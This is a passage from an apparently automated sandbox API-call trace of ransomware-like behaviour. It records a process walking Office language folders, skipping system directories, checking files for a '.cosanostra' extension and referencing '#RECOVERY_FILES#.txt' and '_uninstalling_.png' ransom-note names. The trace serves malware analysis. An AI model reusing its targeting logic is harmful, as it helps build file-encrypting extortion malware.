lpSrch=".cosanostra") returned 0x0 [0080.814] lstrcmpW (lpString1="WWINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.814] lstrcmpW (lpString1="WWINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.814] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 70 [0080.814] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.814] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Windows") returned 1 [0080.814] lstrlenW (lpString="Windows") returned 7 [0080.814] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Program Files") returned 1 [0080.814] lstrlenW (lpString="Program Files") returned 13 [0080.814] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.814] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.814] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.814] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.814] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="System Volume Information") returned 1 [0080.814] lstrlenW (lpString="System Volume Information") returned 25 [0080.814] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 71 [0080.814] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.814] lstrcmpW (lpString1="WWINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.814] lstrcmpW (lpString1="WWINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.814] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 71 [0080.815] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.815] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Windows") returned 1 [0080.815] lstrlenW (lpString="Windows") returned 7 [0080.815] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.815] lstrlenW (lpString="Program Files") returned 13 [0080.815] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.815] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.815] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.815] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.815] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0080.815] lstrlenW (lpString="System Volume Information") returned 25 [0080.815] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 72 [0080.815] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.815] lstrcmpW (lpString1="XLINTL32.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.815] lstrcmpW (lpString1="XLINTL32.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.815] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 72 [0080.815] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.815] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Windows") returned 1 [0080.815] lstrlenW (lpString="Windows") returned 7 [0080.815] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Program Files") returned 1 [0080.815] lstrlenW (lpString="Program Files") returned 13 [0080.815] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.815] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.815] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.815] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.815] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="System Volume Information") returned 1 [0080.815] lstrlenW (lpString="System Volume Information") returned 25 [0080.815] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 73 [0080.815] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.815] lstrcmpW (lpString1="XLINTL32.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.815] lstrcmpW (lpString1="XLINTL32.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.815] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 73 [0080.815] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.815] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Windows") returned 1 [0080.815] lstrlenW (lpString="Windows") returned 7 [0080.815] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.815] lstrlenW (lpString="Program Files") returned 13 [0080.815] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.815] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.816] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.816] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.816] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0080.816] lstrlenW (lpString="System Volume Information") returned 25 [0080.816] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned 72 [0080.816] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.816] lstrcmpW (lpString1="XLSLICER.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.816] lstrcmpW (lpString1="XLSLICER.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.816] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned 72 [0080.816] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0080.816] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0080.816] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\#RECOVERY_FILES#.txt") returned 72 [0080.817] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\#RECOVERY_FILES#.txt") returned 72 [0080.817] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.817] lstrcmpiW (lpString1="3082", lpString2="Windows") returned -1 [0080.817] lstrlenW (lpString="Windows") returned 7 [0080.817] lstrcmpiW (lpString1="3082", lpString2="Program Files") returned -1 [0080.817] lstrlenW (lpString="Program Files") returned 13 [0080.817] lstrcmpiW (lpString1="3082", lpString2="Program Files (x86)") returned -1 [0080.817] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.817] lstrcmpiW (lpString1="3082", lpString2="$Recycle.bin") returned 1 [0080.817] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.817] lstrcmpiW (lpString1="3082", lpString2="System Volume Information") returned -1 [0080.817] lstrlenW (lpString="System Volume Information") returned 25 [0080.817] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned 51 [0080.817] lstrcmpW (lpString1="3082", lpString2=".") returned 1 [0080.817] lstrcmpW (lpString1="3082", lpString2="..") returned 1 [0080.817] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 53 [0080.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.057] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.057] lstrlenW (lpString="Windows") returned 7 [0081.057] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.057] lstrlenW (lpString="Program Files") returned 13 [0081.057] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.057] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.057] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.057] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.057] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.057] lstrlenW (lpString="System Volume Information") returned 25 [0081.057] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\.") returned 53 [0081.057] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.057] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.206] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.206] lstrlenW (lpString="Windows") returned 7 [0081.206] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.206] lstrlenW (lpString="Program Files") returned 13 [0081.206] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.206] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.206] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.206] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.206] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.206] lstrlenW (lpString="System Volume Information") returned 25 [0081.206] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\..") returned 54 [0081.206] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.206] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.206] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.206] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Windows") returned -1 [0081.206] lstrlenW (lpString="Windows") returned 7 [0081.206] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.206] lstrlenW (lpString="Program Files") returned 13 [0081.206] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.206] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.207] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.207] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.207] lstrlenW (lpString="System Volume Information") returned 25 [0081.207] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 72 [0081.207] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.207] lstrcmpW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.207] lstrcmpW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.207] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 72 [0081.207] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.207] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Windows") returned -1 [0081.207] lstrlenW (lpString="Windows") returned 7 [0081.207] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.207] lstrlenW (lpString="Program Files") returned 13 [0081.207] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.207] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.207] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.207] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.207] lstrlenW (lpString="System Volume Information") returned 25 [0081.207] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 72 [0081.207] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.207] lstrcmpW (lpString1="GRINTL32.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.207] lstrcmpW (lpString1="GRINTL32.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.207] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 72 [0081.207] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.207] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Windows") returned -1 [0081.207] lstrlenW (lpString="Windows") returned 7 [0081.207] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Program Files") returned -1 [0081.207] lstrlenW (lpString="Program Files") returned 13 [0081.207] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.207] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.207] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.207] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.207] lstrlenW (lpString="System Volume Information") returned 25 [0081.207] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 73 [0081.207] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.207] lstrcmpW (lpString1="GRINTL32.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.207] lstrcmpW (lpString1="GRINTL32.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.207] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 73 [0081.207] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.207] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Windows") returned -1 [0081.207] lstrlenW (lpString="Windows") returned 7 [0081.208] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.208] lstrlenW (lpString="Program Files") returned 13 [0081.208] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.208] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.208] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.208] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.208] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.208] lstrlenW (lpString="System Volume Information") returned 25 [0081.208] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 69 [0081.208] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.208] lstrcmpW (lpString1="MAPIR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.208] lstrcmpW (lpString1="MAPIR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 69 [0081.208] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.208] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Windows") returned -1 [0081.208] lstrlenW (lpString="Windows") returned 7 [0081.208] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Program Files") returned -1 [0081.208] lstrlenW (lpString="Program Files") returned 13 [0081.208] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.208] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.208] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.208] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.208] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.208] lstrlenW (lpString="System Volume Information") returned 25 [0081.208] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 72 [0081.208] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.208] lstrcmpW (lpString1="MOR6INT.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.208] lstrcmpW (lpString1="MOR6INT.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 72 [0081.208] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.208] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.208] lstrlenW (lpString="Windows") returned 7 [0081.208] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.208] lstrlenW (lpString="Program Files") returned 13 [0081.208] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.208] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.208] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.208] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.208] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.208] lstrlenW (lpString="System Volume Information") returned 25 [0081.208] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 71 [0081.208] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.208] lstrcmpW (lpString1="MSOINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.208] lstrcmpW (lpString1="MSOINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 71 [0081.209] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.209] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Windows") returned -1 [0081.209] lstrlenW (lpString="Windows") returned 7 [0081.209] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0081.209] lstrlenW (lpString="Program Files") returned 13 [0081.209] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.209] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.209] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.209] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.209] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.209] lstrlenW (lpString="System Volume Information") returned 25 [0081.209] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 72 [0081.209] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.209] lstrcmpW (lpString1="MSOINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.209] lstrcmpW (lpString1="MSOINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.209] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 72 [0081.209] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.209] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.209] lstrlenW (lpString="Windows") returned 7 [0081.209] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.209] lstrlenW (lpString="Program Files") returned 13 [0081.209] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.209] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.209] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.209] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.209] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.209] lstrlenW (lpString="System Volume Information") returned 25 [0081.209] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 71 [0081.209] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.209] lstrcmpW (lpString1="OMSINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.209] lstrcmpW (lpString1="OMSINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.209] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 71 [0081.209] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.209] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.209] lstrlenW (lpString="Windows") returned 7 [0081.209] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.209] lstrlenW (lpString="Program Files") returned 13 [0081.209] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.209] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.209] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.209] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.209] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.209] lstrlenW (lpString="System Volume Information") returned 25 [0081.209] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 70 [0081.209] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.209] lstrcmpW (lpString1="ONINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.209] lstrcmpW (lpString1="ONINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.209] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 70 [0081.210] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.210] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Windows") returned -1 [0081.210] lstrlenW (lpString="Windows") returned 7 [0081.210] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0081.210] lstrlenW (lpString="Program Files") returned 13 [0081.210] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.210] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.210] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.210] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.210] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.210] lstrlenW (lpString="System Volume Information") returned 25 [0081.210] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 71 [0081.210] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.210] lstrcmpW (lpString1="ONINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.210] lstrcmpW (lpString1="ONINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.210] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 71 [0081.210] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Windows") returned -1 [0081.210] lstrlenW (lpString="Windows") returned 7 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.210] lstrlenW (lpString="Program Files") returned 13 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.210] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.210] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.210] lstrlenW (lpString="System Volume Information") returned 25 [0081.210] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 72 [0081.210] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.210] lstrcmpW 